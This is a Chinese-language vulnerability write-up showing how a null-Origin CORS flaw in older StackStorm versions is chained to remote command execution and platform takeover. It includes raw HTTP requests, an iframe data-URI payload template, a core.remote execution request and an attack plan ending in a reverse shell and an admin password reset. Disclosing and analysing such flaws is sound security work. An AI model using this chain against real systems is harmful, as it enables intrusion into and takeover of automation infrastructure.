在2.10.3/2.9.3之前,如果请求的来源未知,我们将返回null,null可以导致某些客户端中来自未知来源的成功请求,允许针对StackStorm API进行XSS样式攻击。
(Firefox上的用户是受害者,Chrome上的用户是攻击者)
利用null CORS
通过使用null Origin头向StackStorm API发送请求Origin:null
,服务器以Access-Control-Allow-Origin
to 响应null
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1 Host: localhost:4443 Origin: 443 Referer: https://localhost:4443/ x-auth-token: a19e39b9dff24e4798ba04c7036d0275
服务器响应:
Access-Control-Allow-Origin: null <-- hug hug hug Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
在portswigger的博客文章中记录了利用null CORS ,我们可以找到以下payload:
<iframe sandbox =“allow-scripts allow-top-navigation allow-forms”src ='data:text/html, <script> *注入你的恶意代码* </ SCRIPT>'> </ IFRAME>
如何得到RCE呢?
StackStorm允许配置操作,其中一些操作如core.remote
在您选择的主机上执行任意命令。
因此,如果我们设置主机127.0.0.1,我们将在StackStorm docker上执行命令。很好,RCE应该没问题,因为发送一个简单的POST请求来注册一个动作。
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
接下来应该怎么做?
我们可以在StackStorm的主机上执行命令,但是让我们完全控制StackStorm平台。可以通过重置管理员密码来解决此问题。使用文档:
需要更改密码?运行:sudo htpasswd/etc/st2/ htpasswd st2admin
OK,来理一下思路:
- 发送一个带有恶意代码的受害者链接,在主机127.0.0.1上行使一个新动作以执行一个arbirary命令
- 受害者点击链接并查看小马
- 由于CORS在使用标头发送请求时为空
Origin: null
,因此注册新操作的POST请求正在运行(我们还设置了参数credentials:"include"
) - 操作是触发器和命令执行(反向shell)
- 攻击者重置管理员密码并获得对StackStorm平台的完全控制权
- 攻击者可以破坏注册到StackStorm的所有其他主机